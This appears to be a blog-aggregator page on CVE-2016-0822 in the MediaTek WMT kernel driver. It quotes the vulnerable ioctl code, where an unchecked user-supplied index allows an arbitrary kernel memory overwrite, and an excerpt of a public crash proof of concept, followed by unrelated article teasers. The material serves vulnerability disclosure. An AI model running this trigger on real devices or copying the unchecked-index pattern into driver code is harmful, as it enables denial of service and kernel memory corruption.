CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

  • CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158
//mediatek/kernel/drivers/combo/common/core/include/wmt_lib.h
typedef struct {
        UINT32 dowloadSeq;
        UCHAR addRess[4];
        UCHAR patchName[256];
}WMT_PATCH_INFO,*P_WMT_PATCH_INFO;

VOID wmt_lib_set_patch_num(unsigned long num)
{
        P_DEV_WMT pWmtDev = &gDevWmt;
        pWmtDev->patchNum = num;
}

  ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
  case WMT_IOCTL_SET_PATCH_INFO:{
      ...
      if (copy_from_user(&wMtPatchInfo, (void *)arg, sizeof(WMT_PATCH_INFO))) {
                                WMT_ERR_FUNC("copy_from_user failed at %d\n", __LINE__);
                                iRet = -EFAULT;
                                break;
                        }
      ...
      dWloadSeq = wMtPatchInfo.dowloadSeq;
      //arbitrary memory overwrite. user can control dowloadSeq
      osal_memcpy(pPatchInfo + dWloadSeq - 1, &wMtPatchInfo,
                                    sizeof(WMT_PATCH_INFO));

CVE-2016-0822 PoC :

https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-0822-mtk.c

        /* set some absurd offset, in hopes of causing panic or GPF */
        overflow.dowloadSeq = 0x31337;
        /* set obvious bogus data into data fields.
         * If I had exploitation skills these would contain pointers to userland!
         */
        memset(&overflow.addRess, ‘A‘, 4);
        memset(&overflow.patchName, ‘A‘, 256);

        ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
时间: 2024-10-05 05:57:58

CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158的相关文章

misc设备驱动模板-linux

闲来无事,丢个misc驱动模板就跑  #include <linux/kernel.h> #include <linux/module.h> #include <linux/miscdevice.h> #include <linux/fs.h> #include <linux/types.h> #include <linux/moduleparam.h> #include <linux/slab.h> #include &

《Linux Device Drivers》第十四章 Linux 设备模型

简介 2.6内核的设备模型提供一个对系统结构的一般性抽象描述,用以支持多种不同的任务 电源管理和系统关机 与用户空间通信 热插拔设备 设备类型 对象生命周期 kobject.kset和子系统 kobject是组成设备模型的基本结构 对象的引用计数 sysfs表述 数据结构关联 热插拔事件处理 kobject基础知识 <linux/kobject.h> 嵌入的kobject 内核代码很少去创建一个单独的kobject对象,kobject用于控制对大型域相关对象的访问 kobject的初始化 首先

MTK

目录 1:简介 2:怎么抓取和分析log 3:怎么确定问题点 简介 系统稳定性目前主要是解决系统死机重启. 分为两部分:Android /kernel Kernel 分析需要的文件和工具: Mtklog, vmlinux ,gat工具,解析vmlinux的脚本. Vmlinux路径:alps\out\target\product\k55v1_64_op01_pre\obj\KERNEL_OBJ 解析vmlinux的脚本 ARM 32位版本:prebuilts/gcc/linux-x86/arm/

MTK MT6735平台调试Camera驱动记录

Camera驱动相关文件: 1.ProjectConfig.mk   配置相关信息,定义主副摄像头.和其他信息 2.kd_imgsensor.h     定义Sensor_id 的信息文件, kernel和vendor下都需要有一份 3.kd_camera_hw.c  kd_camera_hw.h  控制Camera上下电,宏在kd_camera_hw.h中定义 4.kd_sensorlist.h    sensorlist.cpp  这两个文件中定义添加Sensor模组,两个文件中的顺序必须一

mtk设备模型之LCM

1.Linux设备模型 站在BSP的角度来看,整个系统可以由三部分组成:设备.总线.驱动. Linux kernel有一些总线,比如USB.I2C等.对于每一个总线都会有一些设备和驱动挂在上面.驱动服务于匹配的设备,使Linux正确的操作硬件设备.当一个设备或者驱动注册到特定的总线上的时候就会触发总线匹配函数,比如一个设备注册到了总线,所有的该总线的驱动都会被枚举,判断是不是可以服务于新添加的设备(一般通过name来匹配),反之亦然. 如果总线匹配成功,就会调用驱动的probe函数,检查指定的硬

MTK平台下Battery驱动分析

主要涉及代码: Kernel: kernel-3.10\drivers\power\mediatek\ kernel-3.10\drivers\misc\mediatek\mach\mt6580\<project_name>\power\ MTK Battery框架结构图 通过上层通过读取创建一系列的设备节点获取电池相关的状态信息 android电源管理系统 /sys/class/power_supply/ac/online //AC 电源连接状态 交流电 即电源插座 /sys/class/p

MTK平台系统稳定性分析

目录 1:简介 2:怎么抓取和分析log 3:怎么确定问题点 简介 系统稳定性目前主要是解决系统死机重启. 分为两部分:Android /kernel Kernel 分析需要的文件和工具: Mtklog, vmlinux ,gat工具,解析vmlinux的脚本. Vmlinux路径:alps\out\target\product\k55v1_64_op01_pre\obj\KERNEL_OBJ 解析vmlinux的脚本 ARM 32位版本:prebuilts/gcc/linux-x86/arm/

mtk camera faq

一mtk修改对焦模式1.log中搜索SensorId知道对应 SensorIdLensMCU : LensMCU[isSupportLens][CurrSensorDev]0x0001 [CurrSensorId]0x12412.根据SensorId(如0x1241)从kernel中知道对应的宏名称OV12A10MIPI_SENSOR_ID[email protected]:~/codes/mtk_8.1_6763_baseline_for_GomeMultiScan/kernel-4.4/dr

由MTK平台 mtkfb 设备注册疑问引发的知识延伸--ARM Device Tree

问题: 在kernel-3.10\drivers\misc\mediatek\videox\mt6735\mtkfb.c里面int __init mtkfb_init(void) 有看到 platform_driver_register(&mtkfb_driver)注册, 但在kerne l整体代码目录搜索,没有搜到 mtkfb_driver 对应的设备名为“mtkfb”设备注册, ,唯一搜到:kernel-3.10\drivers\misc\mediatek\mach\mt6735\mt_de